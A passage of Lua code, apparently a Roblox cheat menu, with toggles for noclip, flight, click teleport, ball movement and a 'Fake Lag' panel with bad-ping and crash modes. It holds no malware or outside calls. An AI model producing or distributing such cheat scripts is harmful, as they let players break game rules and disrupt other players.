SPEED_MULTIPLIER = 30 local JUMP_POWER = 60 local JUMP_GAP = 0.3 local character = game.Players.LocalPlayer.Character for i,v in ipairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end local ball = character.HumanoidRootPart ball.Shape = Enum.PartType.Ball ball.Size = Vector3.new(5,5,5) local humanoid = character:WaitForChild("Humanoid") local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist params.FilterDescendantsInstances = {character} local tc = RunService.RenderStepped:Connect(function(delta) ball.CanCollide = true humanoid.PlatformStand = true if UserInputService:GetFocusedTextBox() then return end if UserInputService:IsKeyDown("W") then ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("A") then ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("S") then ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER end if UserInputService:IsKeyDown("D") then ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER end --ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0) end) UserInputService.JumpRequest:Connect(function() local result = workspace:Raycast( ball.Position, Vector3.new( 0, -((ball.Size.Y/2)+JUMP_GAP), 0 ), params ) if result then ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0) end end) Camera.CameraSubject = ball humanoid.Died:Connect(function() tc:Disconnect() end) end) end coroutine.wrap(WVDQ_fake_script)() local function UUBW_fake_script() -- noclip.LocalScript local script = Instance.new('LocalScript', noclip) local noClipEnabled = false --Toggle noclipButton script.parent.MouseButton1Click:Connect(function() noClipEnabled = not noClipEnabled script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF" if noClipEnabled then -- Enable Button game:GetService("RunService").Stepped:Connect(function() if noClipEnabled then for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") and part.CanCollide then part.CanCollide = false end end end end) else --Disable noclipButton for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end end end) end coroutine.wrap(UUBW_fake_script)() local function JLHA_fake_script() -- plane.LocalScript local script = Instance.new('LocalScript', plane) function click() repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil; wait(0.4) for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do if v ~= script then v:Destroy() end end local player = game:service("Players").LocalPlayer local mouse = player:GetMouse() local cam = workspace.CurrentCamera local char = player.Character local Torsoz = char:findFirstChild("Torso") local NV = Vector3.new() local Main local W,S = false,false local DoublePress = {nil,0} script.Parent = char local TrailParts = {} local Acceleration = 0.08 local Speed = 0 local MinSpeed = 0 local MaxSpeed = 3.2 local DesiredDirection = cam.CoordinateFrame.lookVector local Direction = DesiredDirection local Roll = 0 local AllowTrails = true script.Name = "AdvFlight" local P = Instance.new("Part") P.Anchored = true P.CanCollide = false P.Name = "Part" P.formFactor = "Custom" P.Size = Vector3.new(0.2,0.2,0.2) P.Locked = true P.TopSurface = 10 P.BottomSurface = 10 P.FrontSurface = 10 P.BackSurface = 10 P.LeftSurface = 10 P.RightSurface = 10 P.Material = "Pebble" P.BrickColor = BrickColor.new("White") local shipp local shadow local campart function RAY(pos, dir, startpos, endpos, distleft, collidedlist) collidedlist = collidedlist or {char} startpos = startpos or pos distleft = distleft or dir.unit * dir.magnitude endpos = endpos or pos + distleft local ray = Ray.new(pos, distleft) local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist) if hitz ~= nil then if hitz.CanCollide == false then table.insert(collidedlist, hitz) local newpos = enz local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude) if newdistleft ~= NV then return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist) end end end return hitz, enz, ray end function FindSurface(part, position) local obj = part.CFrame:pointToObjectSpace(position) local siz = part.Size/2 for i,v in pairs(Enum.NormalId:GetEnumItems()) do local vec = Vector3.FromNormalId(v) local wvec = part.CFrame:vectorToWorldSpace(vec) local vz = (obj)/(siz*vec) if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then return wvec,vec end end if part.className == "WedgePart" then return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707) end end function HSV(H,S,V) H = H % 360 local C = V * S local H2 = H/60 local X = C * (1 - math.abs((H2 %2) -1)) local color = Color3.new(0,0,0) if H2 <= 0 then color = Color3.new(C,0,0) elseif 0 <= H2 and H2 <= 1 then color = Color3.new(C,X,0) elseif 1 <= H2 and H2 <= 2 then color = Color3.new(X,C,0) elseif 2 <= H2 and H2 <= 3 then color = Color3.new(0,C,X) elseif 3 <= H2 and H2 <= 4 then color = Color3.new(0,X,C) elseif 4 <= H2 and H2 <= 5 then color = Color3.new(X,0,C) elseif 5 <= H2 and H2 <= 6 then color = Color3.new(C,0,X) end local m = V - C return Color3.new(color.r + m, color.g + m, color.b + m) end function Build(shiptype) AllowTrails = true for i, v in pairs(char:children()) do if v.className == "Model" and v.Name == "Ship" then v:remove() end end for i, v in pairs(TrailParts) do for _,V in pairs(v[3]) do V:Destroy() end end local mdl = Instance.new("Model", char) mdl.Name = "Ship" ------------------------ Speeder Ship Type ----------------------------- if shiptype == "Speeder" then shipp = P:Clone() shipp.Parent = mdl shipp.Size = Vector3.new(1,1,2.2) local shipwing1 = P:Clone() shipwing1.Parent = mdl shipwing1.Size = Vector3.new(0.6,1.2,2) local mesh = Instance.new("SpecialMesh", shipwing1) mesh.MeshType = "Wedge" local shipwing2 = shipwing1:Clone() shipwing2.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwing21 = P:Clone() shipwing21.Parent = mdl shipwing21.Size = Vector3.new(0.32,1.1,2.6) local mesh = Instance.new("SpecialMesh", shipwing21) mesh.MeshType = "Wedge" local shipwing22 = shipwing21:Clone() shipwing22.Parent = mdl campart = P:Clone() campart.Transparency = 1 local shipwi = P:Clone() shipwi.Parent = mdl shipwi.Size = Vector3.new(1,1,1.2) local mesh = Instance.new("SpecialMesh", shipwi) mesh.MeshType = "Wedge" local shipwi2 = P:Clone() shipwi2.Parent = mdl shipwi2.Size = Vector3.new(0.7,0.7,0.84) shipwi2.Material = "SmoothPlastic" shipwi2.BrickColor = BrickColor.new("Pastel blue") shipwi2.Reflectance = 0.6 local mesh = Instance.new("SpecialMesh", shipwi2) mesh.MeshType = "Wedge" shadow = P:Clone() shadow.Parent = mdl shadow.Name = "Shadow" shadow.Material = "SmoothPlastic" shadow.BrickColor = BrickColor.new("Really black") local mesh = Instance.new("SpecialMesh",shadow) mesh.MeshType = "Sphere" TrailParts = {} table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18}) table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15}) for _, V in pairs(TrailParts) do for i = 1, V[7] do local p = P:Clone() local mesh = Instance.new("SpecialMesh", p) mesh.MeshId = "http://www.roblox.com/asset/?id=9856898" mesh.TextureId = "http://www.roblox.com/asset/?id=48358980" p.BrickColor = BrickColor.new("Dark stone grey") table.insert(V[3],p) end end function ReposParts() shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2) shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2) shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2) shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2) shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7) shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015) campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0) end cam.CameraSubject = campart cam.CameraType = "Track" shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p ReposParts() end AllowTrails = true end Build("Speeder") function B1D() Build("Speeder") end function RollThatSht(direc) if Roll == 0 then for i = 1, 50 do Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc wait(0.02) end Roll = 0 end end function KD(key) if key == "w" then W = true elseif key == "s" then S = true end local rollpls = 0 if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then DoublePress = {nil,0} if key == "a" then rollpls = -1 elseif key == "d" then rollpls = 1 end end DoublePress = {key,tick()} if rollpls ~= 0 then RollThatSht(rollpls) end end function KU(key) if key == "w" then W = false elseif key == "s" then S = false end end function Equip() end function Unequip() end mouse.Icon = "rbxasset://textures\\GunCursor.png" mouse.Button1Down:connect(B1D) mouse.KeyDown:connect(KD) mouse.KeyUp:connect(KU) local count = 0 local hue = 0 --game:GetService("RunService").Stepped:connect(function() while wait(0.02) do ------ Speed -------- local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration) if W == true then Speed = Speed + valu elseif S == true then Speed = Speed - valu end if Speed > MaxSpeed then Speed = MaxSpeed elseif Speed < MinSpeed then Speed = MinSpeed end ------ left/right tilt --------- local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z))) local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z))) local swing = 0 if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then swing = target-current else swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360) end DesiredDirection = cam.CoordinateFrame.lookVector ------ direction smoothening ------ local dir = DesiredDirection.unit if Direction ~= dir then if (Direction - dir).magnitude < 0.01 then Direction = dir else local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10 Direction = (Direction + dist).unit end end shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2)) ReposParts() ------ shadow ------ local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0)) local angles = CFrame.new() if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then local wvec,vec = FindSurface(ghitz,genz) angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0) elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0) end shadow.CFrame = CFrame.new(genz) * angles shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5) shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26) ------- Trails ----------------------- if AllowTrails == true then count = (count+1)%1 hue = (hue+1) % 360 local rgb = HSV(hue,0.65,0.85) for _,v in pairs(TrailParts) do local to = (v[1].CFrame * v[5]).p if Speed > MinSpeed + 0.2 then v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0) v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6]) v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b) v[3][v[2]].Transparency = 0.15 v[3][v[2]].Parent = game.Players.LocalPlayer.Character else v[2] = (v[2]%#v[3]) + 1 v[3][v[2]].Parent = nil end v[4] = to end end end --end) -- 138098590 -- plane destroyed sound -- 133082569 -- propeller 2 -- 135645246 -- propeller 1 --[[ Possible Game names Aeroscape Airbound Aerialtude ]] end script.Parent.MouseButton1Down:connect(click) end coroutine.wrap(JLHA_fake_script)() local function SSWSNG_fake_script() -- fly.LocalScript local script = Instance.new('LocalScript', fly) speeds = 1 local speaker = game:GetService("Players").LocalPlayer local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") nowe = false script.parent.MouseButton1Down:connect(function() if nowe == true then nowe = false speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) else nowe = true for i = 1, speeds do spawn(function() local hb = game:GetService("RunService").Heartbeat tpwalking = true local chr = game.Players.LocalPlayer.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") while tpwalking and hb:Wait() and chr and hum and hum.Parent do if hum.MoveDirection.Magnitude > 0 then chr:TranslateBy(hum.MoveDirection) end end end) end game.Players.LocalPlayer.Character.Animate.Disabled = true local Char = game.Players.LocalPlayer.Character local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController") for i,v in next, Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(0) end speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) end if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do game:GetService("RunService").RenderStepped:Wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end -- game.Players.LocalPlayer.Character.Animate.Disabled = true bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false else local plr = game.Players.LocalPlayer local UpperTorso = plr.Character.UpperTorso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 local bg = Instance.new("BodyGyro", UpperTorso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = UpperTorso.CFrame local bv = Instance.new("BodyVelocity", UpperTorso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) if nowe == true then plr.Character.Humanoid.PlatformStand = true end while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do wait() if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) end ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false game.Players.LocalPlayer.Character.Animate.Disabled = false tpwalking = false end end) local tis end coroutine.wrap(SSWSNG_fake_script)() local function GYRIVDI_fake_script() -- tp.LocalScript local script = Instance.new('LocalScript', tp) script.Parent.MouseButton1Click:Connect(function() mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Click Teleport" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack end) end coroutine.wrap(GYRIVDI_fake_script)() local function BCBQLZ_fake_script() -- floatingpad.LocalScript local script = Instance.new('LocalScript', floatingpad) script.Parent.MouseButton1Click:Connect(function() local name = game.Players.LocalPlayer.Name local p = Instance.new("Part") p.Parent = workspace p.Locked = true p.Color = Color3.new(0.666667, 0, 0) p.Size = Vector3.new(8, 1.2, 8) p.Anchored = true local m = Instance.new("CylinderMesh") m.Scale = Vector3.new(1, 0.5, 1) m.Parent = p while true do p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z) wait() end end) end coroutine.wrap(BCBQLZ_fake_script)() local function KXYQAXQ_fake_script() -- Frame.UIDrag local script = Instance.new('LocalScript', Frame) -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end coroutine.wrap(KXYQAXQ_fake_script)() local function GEVXYR_fake_script() -- ScreenGui.notfication local script = Instance.new('LocalScript', ScreenGui) wait(2) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "now loaded lol"; Text = "By FishNoobAhh"; Icon = ""; Duration = 10; Button1 = "yes sirrr"; }) end coroutine.wrap(GEVXYR_fake_script)() local function PYIQX_fake_script() -- ScreenGui.messageload local script = Instance.new('LocalScript', ScreenGui) if script.Parent.Enabled == true then local m = Instance.new("Message", game.Workspace) m.Text = "1x1x1x1 gui fe Loading..." wait(2) m:Destroy() script:Destroy() else end end coroutine.wrap(PYIQX_fake_script)() end) end; task.spawn(C_2b); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_2c() local script = G2L["2c"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Text = "Executed" wait(1) script.Parent.Text = ogtext end) end; task.spawn(C_2c); -- StarterGui.ScreenGui.Frame1.TextButton.LocalScript local function C_2f() local script = G2L["2f"]; script.Parent.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local Workspace = game:GetService("Workspace") local player = Players.LocalPlayer local function addUICorner(inst, radius) local c = Instance.new("UICorner") c.CornerRadius = UDim.new(0, radius or 8) c.Parent = inst end local existing = player:WaitForChild("PlayerGui"):FindFirstChild("FakeLagGUI") if existing then existing:Destroy() end local screenGui = Instance.new("ScreenGui") screenGui.Name = "FakeLagGUI" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local loadBg = Instance.new("Frame", screenGui) loadBg.Size = UDim2.new(0, 300, 0, 30) loadBg.Position = UDim2.new(0.5, -150, 0.5, -15) loadBg.BackgroundColor3 = Color3.fromRGB(20, 20, 20) addUICorner(loadBg, 8) local loadFill = Instance.new("Frame", loadBg) loadFill.Size = UDim2.new(0, 0, 1, 0) loadFill.BackgroundColor3 = Color3.fromRGB(0, 200, 0) addUICorner(loadFill, 8) local loadTxt = Instance.new("TextLabel", loadBg) loadTxt.Size = UDim2.new(1,0,1,0) loadTxt.BackgroundTransparency = 1 loadTxt.Text = "Loading Fake Lag..." loadTxt.TextColor3 = Color3.new(1,1,1) loadTxt.Font = Enum.Font.SourceSansBold loadTxt.TextSize = 18 local badPingAnimId local badPingAnimIdR6 = "rbxassetid://967278155" local badPingAnimIdR15 = "rbxassetid://507777826" local char = player.Character if char then local hum = char:FindFirstChildOfClass("Humanoid") if hum then if hum.RigType == Enum.HumanoidRigType.R6 then badPingAnimId = badPingAnimIdR6 else badPingAnimId = badPingAnimIdR15 end end end TweenService:Create(loadFill, TweenInfo.new(2, Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() task.wait(2) loadBg:Destroy() local main = Instance.new("Frame") main.Name = "MainGUI" main.Size = UDim2.new(0, 300, 0, 460) main.Position = UDim2.new(0.5, -150, 0.5, -230) main.BackgroundColor3 = Color3.fromRGB(30, 30, 30) main.Active = true main.Draggable = true main.Visible = true main.Parent = screenGui addUICorner(main, 12) local closeBtn = Instance.new("TextButton", main) closeBtn.Size = UDim2.new(0,24,0,24) closeBtn.Position = UDim2.new(1,-30,0,6) closeBtn.BackgroundColor3 = Color3.fromRGB(200,50,50) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 20 closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.Text = "X" addUICorner(closeBtn,6) closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) local title = Instance.new("TextLabel", main) title.Size = UDim2.new(1, -20, 0, 28) title.Position = UDim2.new(0, 10, 0, 8) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 22 title.TextColor3 = Color3.new(1,1,1) title.Text = "Fake Lag GUI" local statusLbl = Instance.new("TextLabel", main) statusLbl.Size = UDim2.new(1,-20,0,24) statusLbl.Position = UDim2.new(0,10,0,40) statusLbl.BackgroundTransparency = 1 statusLbl.Font = Enum.Font.SourceSans statusLbl.TextSize = 18 statusLbl.TextColor3 = Color3.new(1,1,1) statusLbl.Text = "Speed: 1" local tipLbl = Instance.new("TextLabel", main) tipLbl.Size = UDim2.new(1,-20,0,20) tipLbl.Position = UDim2.new(0,10,0,60) tipLbl.BackgroundTransparency = 1 tipLbl.Font = Enum.Font.SourceSansItalic tipLbl.TextSize = 14 tipLbl.TextColor3 = Color3.fromRGB(150,255,150) tipLbl.Text = "hello man" local speedBox = Instance.new("TextBox", main) speedBox.Size = UDim2.new(1,-80,0,30) speedBox.Position = UDim2.new(0,10,0,85) speedBox.PlaceholderText = "Enter speed" speedBox.BackgroundColor3 = Color3.fromRGB(40,40,40) speedBox.TextColor3 = Color3.new(1,1,1) speedBox.Font = Enum.Font.SourceSans speedBox.TextSize = 18 speedBox.Text = "" addUICorner(speedBox,6) local enterBtn = Instance.new("TextButton", main) enterBtn.Size = UDim2.new(0,60,0,30) enterBtn.Position = UDim2.new(1,-70,0,85) enterBtn.Text = "Set" enterBtn.Font = Enum.Font.SourceSansBold enterBtn.TextSize = 18 enterBtn.BackgroundColor3 = Color3.fromRGB(70,70,70) enterBtn.TextColor3 = Color3.new(1,1,1) addUICorner(enterBtn,6) local scroll = Instance.new("ScrollingFrame", main) scroll.Size = UDim2.new(1,-20,0,220) scroll.Position = UDim2.new(0,10,0,130) scroll.CanvasSize = UDim2.new(0,0,0,400) scroll.BackgroundColor3 = Color3.fromRGB(20,20,20) scroll.ScrollBarThickness = 6 addUICorner(scroll,6) local buttons = {} local buttonNames = {"Bad Ping","Fake Lag","Crash"} for i,name in ipairs(buttonNames) do local btn = Instance.new("TextButton", scroll) btn.Size = UDim2.new(1,-20,0,40) btn.Position = UDim2.new(0,10,0,10 + (i-1)*50) btn.Text = name..": OFF" btn.Font = Enum.Font.SourceSansBold btn.TextSize = 18 btn.TextColor3 = Color3.new(1,1,1) btn.BackgroundColor3 = Color3.fromRGB(60,60,60) addUICorner(btn,6) buttons[name] = btn end local activeMode = nil local savedSpeeds = {["Bad Ping"]=1, ["Fake Lag"]=1, ["Crash"]=1} local lagOn = false local lagLoop local lagSpeed = 1 local crashOn = false local crashAnimTrack local defaultTip = "hello man" local function playRunAnim(hum) for _, track in ipairs(hum:GetPlayingAnimationTracks()) do track:Stop() track:Destroy() end local anim = Instance.new("Animation") anim.AnimationId = badPingAnimId local track if hum.RigType == Enum.HumanoidRigType.R6 then hum.PlatformStand = false track = hum:LoadAnimation(anim) else local animator = hum:FindFirstChildOfClass("Animator") if not animator then animator = Instance.new("Animator") animator.Parent = hum end track = animator:LoadAnimation(anim) end track:Play() return track end local function updateButtonStates() for name,btn in pairs(buttons) do if (activeMode == name and lagOn) or (name=="Crash" and crashOn) then btn.Text = name..": ON" btn.BackgroundColor3 = 